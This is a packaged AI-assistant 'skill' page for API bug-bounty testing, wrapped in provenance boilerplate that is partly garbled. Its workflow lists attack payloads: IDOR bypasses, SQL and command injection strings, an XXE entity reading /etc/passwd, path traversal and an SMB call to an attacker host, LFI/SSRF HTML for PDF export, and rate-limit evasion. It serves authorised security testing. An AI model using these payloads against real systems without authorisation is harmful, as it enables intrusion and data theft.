API Fuzzing for Bug Bounty workflow skill. Use this skill when the user needs Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors and the operator should preserve the upstream workflow, copied support files, and provenance before merging or handing off.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
API Fuzzing for Bug Bounty workflow skill. Use this skill when the user needs Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors and the operator should preserve the upstream workflow, copied support files, and provenance before merging or handing off.
This public intake copy packages plugins/antigravity-awesome-skills-claude/skills/api-fuzzing-bug-bounty from https://github.com/sickn33/antigravity-awesome-skills into the native Omni Skills editorial shape without hiding its origin.
Use it when the operator needs the upstream workflow, support files, and repository context to stay intact while the public validator and private enhancer continue their normal downstream flow.
This intake keeps the copied upstream files intact and uses the external_source block in metadata.json plus ORIGIN.md as the provenance anchor for review.
AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. # API Fuzzing for Bug Bounty
Imported source sections that did not map cleanly to the public headings are still preserved below or in the support files. Notable imported sections: Purpose, Inputs/Prerequisites, Outputs/Deliverables, API Types Overview, GraphQL-Specific Testing, Endpoint Bypass Techniques.
When to Use This Skill
Use this section as the trigger filter. It should make the activation boundary explicit before the operator loads files, runs commands, or opens a pull request.
This skill is applicable to execute the workflow or actions described in the overview.
Use when the request clearly matches the imported source intent: Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and....
Use when the operator should preserve upstream workflow detail instead of rewriting the process from scratch.
Use when provenance needs to stay visible in the answer, PR, or review packet.
Use when copied upstream references, examples, or scripts materially improve the answer.
Use when the workflow should remain reviewable in the public intake repo before the private enhancer takes over.
Operating Table
Situation
Start here
Why it matters
First-time use
metadata.json
Confirms repository, branch, commit, and imported path through the external_source block before touching the copied workflow
Provenance review
ORIGIN.md
Gives reviewers a plain-language audit trail for the imported source
Workflow execution
SKILL.md
Starts with the smallest copied file that materially changes execution
Supporting context
SKILL.md
Adds the next most relevant copied source file without loading the entire package
Handoff decision
## Related Skills
Helps the operator switch to a stronger native skill when the task drifts
Workflow
This workflow is intentionally editorial and operational at the same time. It keeps the imported source useful to the operator while still satisfying the public intake standards that feed the downstream enhancer flow.
Step 1: API Reconnaissance Identify API type and enumerate endpoints: bash # Check for Swagger/OpenAPI documentation /swagger.json /openapi.json /api-docs /v1/api-docs /swagger-ui.html # Use Kiterunner for API discovery kr scan https://target.com -w routes-large.kite # Extract paths from Swagger python3 json2paths.py swagger.json ### Step 2: Authentication Testing bash # Test different login paths /api/mobile/login /api/v3/login /api/magiclink /api/admin/login # Check rate limiting on auth endpoints # If no rate limit → brute force possible # Test mobile vs web API separately # Don't assume same security controls ### Step 3: IDOR Testing Insecure Direct Object Reference is the most common API vulnerability: bash # Basic IDOR GET /api/users/1234 → GET /api/users/1235 # Even if ID is email-based, try numeric /?userid=111 instead of /?userid=user@mail.com # Test /me/orders vs /user/654321/orders IDOR Bypass Techniques: bash # Wrap ID in array {"id":111} → {"id":[111]} # JSON wrap {"id":111} → {"id":{"id":111}} # Send ID twice URL?id=&id= # Wildcard injection {"userid":"*"} # Parameter pollution /api/getprofile?userid=&userid= {"userid":,"userid":} ### Step 4: Injection Testing SQL Injection in JSON: json {"id":"56456"} → OK {"id":"56456 AND 1=1#"} → OK {"id":"56456 AND 1=2#"} → OK {"id":"56456 AND 1=3#"} → ERROR (vulnerable!) {"id":"56456 AND sleep(15)#"} → SLEEP 15 SEC Command Injection: bash # Ruby on Rails ?url=Kernel#open → ?url=|ls # Linux command injection api.url.com/endpoint?name=file.txt;ls%20/ XXE Injection: xml ]> SSRF via API: html .NET Path.Combine Vulnerability: bash # If .NET app uses Path.Combine(path1, path_2) # Test for path traversal https://example.org/download?filename=a.pnghttps://example.org/download?filename=C:\inetpub\wwwroot\web.confighttps://example.org/download?filename=\\smb.dns.attacker.com\a.png ### Step 5: Method Testing bash # Test all HTTP methods GET /api/v1/users/1 POST /api/v1/users/1 PUT /api/v1/users/1 DELETE /api/v1/users/1 PATCH /api/v1/users/1 # Switch content type Content-Type: application/json → application/xml ---
Confirm the user goal, the scope of the imported workflow, and whether this skill is still the right router for the task.
Read the overview and provenance files before loading any copied upstream support files.
Load only the references, examples, prompts, or scripts that materially change the outcome for the current request.
Execute the upstream workflow while keeping provenance and source boundaries explicit in the working notes.
Validate the result against the upstream expectations and the evidence you can point to in the copied files.
Escalate or hand off to a related skill when the work moves out of this imported workflow's center of gravity.
Imported Workflow Notes
Imported: Core Workflow
Step 1: API Reconnaissance
Identify API type and enumerate endpoints:
# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html
# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite
# Extract paths from Swagger
python3 json2paths.py swagger.json
Step 2: Authentication Testing
# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login
# Check rate limiting on auth endpoints# If no rate limit → brute force possible# Test mobile vs web API separately# Don't assume same security controls
Step 3: IDOR Testing
Insecure Direct Object Reference is the most common API vulnerability:
# Basic IDOR
GET /api/users/1234 → GET /api/users/1235
# Even if ID is email-based, try numeric
/?user_id=111 instead of /?user_id=user@mail.com
# Test /me/orders vs /user/654321/orders
IDOR Bypass Techniques:
# Wrap ID in array
{"id":111} → {"id":[111]}
# JSON wrap
{"id":111} → {"id":{"id":111}}
# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>
# Wildcard injection
{"user_id":"*"}
# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}
Step 4: Injection Testing
SQL Injection in JSON:
{"id":"56456"} → OK
{"id":"56456 AND 1=1#"} → OK
{"id":"56456 AND 1=2#"} → OK
{"id":"56456 AND 1=3#"} → ERROR (vulnerable!)
{"id":"56456 AND sleep(15)#"} → SLEEP 15 SEC
Command Injection:
# Ruby on Rails
?url=Kernel#open → ?url=|ls# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/
XXE Injection:
<!DOCTYPE test [ <!ENTITY xxeSYSTEM"file:///etc/passwd"> ]>
# If .NET app uses Path.Combine(path_1, path_2)# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png
Step 5: Method Testing
# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1
# Switch content type
Content-Type: application/json → application/xml
Imported: Purpose
Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.
Examples
Example 1: Ask for the upstream workflow directly
Use @api-fuzzing-bug-bounty to handle <task>. Start from the copied upstream workflow, load only the files that change the outcome, and keep provenance visible in the answer.
Explanation: This is the safest starting point when the operator needs the imported workflow, but not the entire repository.
Example 2: Ask for a provenance-grounded review
Review @api-fuzzing-bug-bounty against metadata.json and ORIGIN.md, then explain which copied upstream files you would load first and why.
Explanation: Use this before review or troubleshooting when you need a precise, auditable explanation of origin and file selection.
Example 3: Narrow the copied support files before execution
Use @api-fuzzing-bug-bounty for <task>. Load only the copied references, examples, or scripts that change the outcome, and name the files explicitly before proceeding.
Explanation: This keeps the skill aligned with progressive disclosure instead of loading the whole copied package by default.
Example 4: Build a reviewer packet
Review @api-fuzzing-bug-bounty using the copied upstream files plus provenance, then summarize any gaps before merge.
Explanation: This is useful when the PR is waiting for human review and you want a repeatable audit packet.
Imported Usage Notes
Imported: Examples
Example 1: IDOR Exploitation
# Original request (own data)
GET /api/v1/invoices/12345
Authorization: Bearer <token>
# Modified request (other user's data)
GET /api/v1/invoices/12346
Authorization: Bearer <token>
# Response reveals other user's invoice data
Treat the generated public skill as a reviewable packaging layer around the upstream repository. The goal is to keep provenance explicit and load only the copied source material that materially improves execution.
Keep the imported skill grounded in the upstream repository; do not invent steps that the source material cannot support.
Prefer the smallest useful set of support files so the workflow stays auditable and fast to review.
Keep provenance, source commit, and imported file paths visible in notes and PR descriptions.
Point directly at the copied upstream files that justify the workflow instead of relying on generic review boilerplate.
Treat generated examples as scaffolding; adapt them to the concrete task before execution.
Route to a stronger native skill when architecture, debugging, design, or security concerns become dominant.
Troubleshooting
Problem: The operator skipped the imported context and answered too generically
Symptoms: The result ignores the upstream workflow in plugins/antigravity-awesome-skills-claude/skills/api-fuzzing-bug-bounty, fails to mention provenance, or does not use any copied source files at all.
Solution: Re-open metadata.json, ORIGIN.md, and the most relevant copied upstream files. Check the external_source block first, then restate the provenance before continuing.
Problem: The imported workflow feels incomplete during review
Symptoms: Reviewers can see the generated SKILL.md, but they cannot quickly tell which references, examples, or scripts matter for the current task.
Solution: Point at the exact copied references, examples, scripts, or assets that justify the path you took. If the gap is still real, record it in the PR instead of hiding it.
Problem: The task drifted into a different specialization
Symptoms: The imported skill starts in the right place, but the work turns into debugging, architecture, design, security, or release orchestration that a native skill handles better.
Solution: Use the related skills section to hand off deliberately. Keep the imported provenance visible so the next skill inherits the right context instead of starting blind.
Imported Troubleshooting Notes
Imported: Troubleshooting
Issue
Solution
API returns nothing
Add X-Requested-With: XMLHttpRequest header
401 on all endpoints
Try adding ?user_id=1 parameter
GraphQL introspection disabled
Use clairvoyance for schema reconstruction
Rate limited
Use IP rotation or batch requests
Can't find endpoints
Check Swagger, archive.org, JS files
Related Skills
@00-andruia-consultant - Use when the work is better handled by that native specialization after this imported skill establishes context.
@00-andruia-consultant-v2 - Use when the work is better handled by that native specialization after this imported skill establishes context.
@10-andruia-skill-smith - Use when the work is better handled by that native specialization after this imported skill establishes context.
@10-andruia-skill-smith-v2 - Use when the work is better handled by that native specialization after this imported skill establishes context.
Additional Resources
Use this support matrix and the linked files below as the operator packet for this imported skill. They should reflect real copied source material, not generic scaffolding.
Resource family
What it gives the reviewer
Example path
references
copied reference notes, guides, or background material from upstream
references/n/a
examples
worked examples or reusable prompts copied from upstream
examples/n/a
scripts
upstream helper scripts that change execution or validation
scripts/n/a
agents
routing or delegation notes that are genuinely part of the imported package
agents/n/a
assets
supporting assets or schemas copied from the source package
<!-- LFI via PDF export --><iframesrc="file:///etc/passwd"height=1000width=800><!-- SSRF via PDF export --><objectdata="http://127.0.0.1:8443"/><!-- Port scanning --><imgsrc="http://127.0.0.1:445"/><!-- IP disclosure --><imgsrc="https://iplogger.com/yourcode.gif"/>
DoS via Limits
# Normal request
/api/news?limit=100
# DoS attempt
/api/news?limit=9999999999
Imported: Common API Vulnerabilities Checklist
Vulnerability
Description
API Exposure
Unprotected endpoints exposed publicly
Misconfigured Caching
Sensitive data cached incorrectly
Exposed Tokens
API keys/tokens in responses or URLs
JWT Weaknesses
Weak signing, no expiration, algorithm confusion
IDOR / BOLA
Broken Object Level Authorization
Undocumented Endpoints
Hidden admin/debug endpoints
Different Versions
Security gaps in older API versions
Rate Limiting
Missing or bypassable rate limits
Race Conditions
TOCTOU vulnerabilities
XXE Injection
XML parser exploitation
Content Type Issues
Switching between JSON/XML
HTTP Method Tampering
GET→DELETE/PUT abuse
Imported: Constraints
Must:
Test mobile, web, and developer APIs separately
Check all API versions (/v1, /v2, /v3)
Validate both authenticated and unauthenticated access
Must Not:
Assume same security controls across API versions
Skip testing undocumented endpoints
Ignore rate limiting checks
Should:
Add X-Requested-With: XMLHttpRequest header to simulate frontend
